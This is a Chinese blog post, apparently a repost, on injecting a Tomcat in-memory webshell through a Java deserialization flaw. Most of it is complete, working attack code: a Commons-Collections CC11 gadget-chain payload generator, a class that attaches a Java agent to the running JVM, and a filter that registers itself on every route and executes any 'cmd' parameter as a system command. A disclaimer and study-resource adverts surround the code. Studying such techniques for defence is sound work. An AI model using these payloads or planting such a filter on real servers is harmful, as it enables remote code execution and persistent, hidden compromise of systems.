结合反序列化注入tomcat内存马

结合反序列化注入tomcat内存马

码农世界 2024-05-24 前端 69 次浏览 0个评论

0x01 前提概述

通过前几个内存马的学习我们可以知道,将内存马写在jsp文件上传并不是传统意义上的内存马注入,jsp文件本质上就是一个servlet,servlet会编译成class文件,也会实现文件落地。借用木头师傅的一张图

结合反序列化注入内存马是动态注入内存马的常用方法,然而通过反序列化注入的方式没有jsp文件的request内置类,所以获取回显的方式我们也需要考虑,在此写下这篇文章分析总结反序列化注入的方法细节。

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

0x02 搭建反序列化环境

反序列化就用CC链来打,引入springboot和commons-collections还有javassist库的依赖


org.springframework.boot
spring-boot-autoconfigure
2.5.6


org.springframework.boot
spring-boot-starter-web
2.5.6
compile


commons-collections
commons-collections
3.2.1


org.javassist
javassist
3.28.0-GA

编写一个控制器类,实现一个反序列化入口的路由

@RequestMapping("/attack")
@ResponseBody
public String evalTest(@RequestParam String data) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(data);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
return "Success";
}

编写springboot的启动程序

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.ComponentScan;
@SpringBootApplication
@ComponentScan("com.controller")
public class Application {
public static void main(String[] args){
SpringApplication.run(Application.class);
}
}

注入反序列化的话需要类加载,而cc2,cc3和cc11最终都是通过类加载来执行恶意代码,在本篇文章中就用cc11来作例子,cc11的代码逻辑不在分析,可以先看看网上的分析文章。

最后贴上CC1的代码:

package com.serialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC11SerializeTest {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Field field;
TemplatesImpl templates = new TemplatesImpl();
byte[] evil = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\test.class"));
field = TemplatesImpl.class.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "1234");
field = TemplatesImpl.class.getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates, new byte[][]{evil});
field = TemplatesImpl.class.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
Map lazyMap = LazyMap.decorate(new HashMap(), transformer);
Map tmp = new HashMap<>();
TiedMapEntry tiedMapEntry = new TiedMapEntry(tmp, templates);
HashMaphashMap = new HashMap();
hashMap.put(tiedMapEntry, 1);
field = TiedMapEntry.class.getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMapEntry, lazyMap);
//        serialize(hashMap);
//        unserialize("web.ser");
ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(hashMap);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("web.ser"));
out_obj1.writeObject(obj);
out_obj1.close();
}
public static  Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename));
Object ois = obj2.readObject();
return ois;
}
}

0x03 反序列化注入内存马分析

注入Agent内存马

注入Agent内存马需要加载Agent的jar包,通过 VirtualMachine 类启动后加载Agent.jar,需要满足两个前提操作

VirtualMachine.attach方法获取正在运行的jvm的进程号

loadAgent 方法动态注册代理程序Agent

利用反序列化打的时候对于像 VirtualMachine 的类不能直接new,获取一个 URLClassLoader 类加载器对VirtualMachine 类和 MyVirtualMachineDescriptor 进行类加载

java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class/**/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class/**/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");

jvm运行的进程号不能直接通过Jps -l获取

VirtualMachine 类有一个list 方法,它的目的是列出当前系统中所有正在运行的 Java 虚拟机(JVM)进程的描述符

用if条件判断当前运行的JVM,然后获取进程号,通过反射修改id属性,最后利用反射调用 loadAgent 方法动态注册Agent的jar包,最终的执行类为

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.File;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.List;
public class test extends AbstractTranslet {
static {
try {
System.out.println("Hello");
String path = "D:\\javaweb\\java\\java-agentShell\\java-agent\\out\\artifacts\\java_agent_jar\\java-agent.jar";
File toolsPath = new File(System.getProperty("java.home").replace("jre", "lib") + File.separator + "tools.jar");
URL url = toolsPath.toURI().toURL();
URLClassLoader classLoader = new URLClassLoader(new URL[] { url });
Class MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
Method listMethod = MyVirtualMachine.getDeclaredMethod("list", null);
List list = (List)listMethod.invoke(MyVirtualMachine, null);
System.out.println("Running JVM list ...");
for (int i = 0; i < list.size(); i++) {
Object o = list.get(i);
Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName", null);
String name = (String)displayName.invoke(o, null);
if (name.contains("Application")) {
Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id", null);
String id = (String)getId.invoke(o, null);
System.out.println("id >>> " + id);
Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[] { String.class });
Object vm = attach.invoke(o, new Object[] { id });
Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent", new Class[] { String.class });
loadAgent.invoke(vm, new Object[] { path });
Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);
detach.invoke(vm, null);
System.out.println("Agent.jar Inject Success !!");
break;
} 
} 
} catch (Exception e) {
e.printStackTrace();
} 
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

在CC链中动态加载字节码,需要将恶意类继承 AbstractTranslet 接口

启动springboot程序,访问attack路由

将序列化的base64编码打进去

Agent代理是通过字节码修改Filter,添加恶意代码

通过控制台日志可以看到已经修改成功了

内存马注入成功

任何路由都能获得命令回显。

获取request和response注入内存马

jsp文件中内置了 request 和 response 能够直接获取,可以在 response 写我们回显的内容。在通过反序列化注入的时候,我们需要通过一些手段获取到这两个类。

在ApplicationFilterChain类中定义了可以储存 request 和 response 的两个静态变量,分别为lastServicedRequest和lastServicedResponse

全局搜索这两个变量,发现一处重要的代码逻辑

如果 WRAP_SAME_OBJECT 是为true,lastServicedRequest 和 lastServicedResponse这两个静态变量就将request和response 放进去,在命令执行的时候就可以将执行结果写入回显中了。

首先修改 WRAP_SAME_OBJECT 属性,在 ApplicationDispatcher 类里

final字段修饰,不可更改,首先通过反射将 final 字段移除,final 字段通常会存储在 java.lang.reflect.Field类中的modifiers字段,

接着就是对lastServicedRequest 和 lastServicedResponse这两个字段初始化,初始化之后这两个字段就会储存Request和Response这两个对象,获取回显应该没太大问题。

剩下的就是动态注册Filter内存马了,Filter内存马之前分析过,在这篇文章就结合木头师傅文章里的EXP说一下流程

首先编写一个恶意的注入类,需要继承 AbstractTranslet 和 Filter 两大接口,前者是为了打CC链时能成功加载字节码,后者是为了动态注入一个恶意的Filter、

定义好参数以及路由

接着获取 StandardContext 上下文,这是必须的,使用doFilter方法将我们自定义的过滤器添加进去

在这个方法里

this.context.getState() 在运行时返回的state已经是 LifecycleState.STARTED 了,所以直接就抛异常了,filter根本就添加不进去。我们可以在filter添加之前修改state为 LifecycleState.STARTING_PREP ,使其跳过if,添加完成后,再将state恢复成 LifecycleState.STARTED。对应修改的代码

filter添加完成后,需要执行 filterStart 方法初始化过滤器,执行的代码

贴上完整的EXP

package com.serialize.javaagent;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
/**
* @author threedr3am
*/
public class TomcatInject extends AbstractTranslet implements Filter {
/**
* webshell命令参数名
*/
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "Xilitter";
static {
try {
ServletContext servletContext = getServletContext();
if (servletContext != null){
Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(appctx);
if (standardContext != null){
// 这样设置不会抛出报错
Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
Filter myFilter =new TomcatInject();
// 调用 doFilter 来动态添加我们的 Filter
// 这里也可以利用反射来添加我们的 Filter
javax.servlet.FilterRegistration.Dynamic filterRegistration =
servletContext.addFilter(filterName,myFilter);
// 进行一些简单的设置
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
// 设置基本的 url pattern
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});
// 将服务重新修改回来,不然的话服务会无法正常进行
if (stateField != null){
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}
// 在设置之后我们需要 调用 filterstart
if (standardContext != null){
// 设置filter之后调用 filterstart 来启动我们的 filter
Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext,null);
/**
* 将我们的 filtermap 插入到最前面
*/
Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
//把filter插到第一位
Method m = Class.forName("org.apache.catalina.core.StandardContext")
.getDeclaredMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
private static ServletContext getServletContext()
throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ServletRequest servletRequest = null;
/*shell注入,前提需要能拿到request、response等*/
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
//如果不能去到request,则换一种方式尝试获取
//spring获取法1
if (servletRequest == null) {
try {
c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getRequest");
servletRequest = (ServletRequest) m.invoke(o);
} catch (Throwable t) {}
}
if (servletRequest != null)
return servletRequest.getServletContext();
//spring获取法2
try {
c = Class.forName("org.springframework.web.context.ContextLoader");
Method m = c.getMethod("getCurrentWebApplicationContext");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.WebApplicationContext");
m = c.getMethod("getServletContext");
ServletContext servletContext = (ServletContext) m.invoke(o);
return servletContext;
} catch (Throwable t) {}
return null;
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
System.out.println(
"TomcatShellInject doFilter.....................................................................");
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}

启动springboot,用CC11的链将恶意类打进去

日志打印出信息,内存马注入成功

能够任意路由执行命令

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

转载请注明来自码农世界,本文标题:《结合反序列化注入tomcat内存马》

百度分享代码,如果开启HTTPS请参考李洋个人博客
每一天,每一秒,你所做的决定都会改变你的人生!

发表评论

快捷回复:

评论列表 (暂无评论,69人围观)参与讨论

还没有评论,来说两句吧...

Top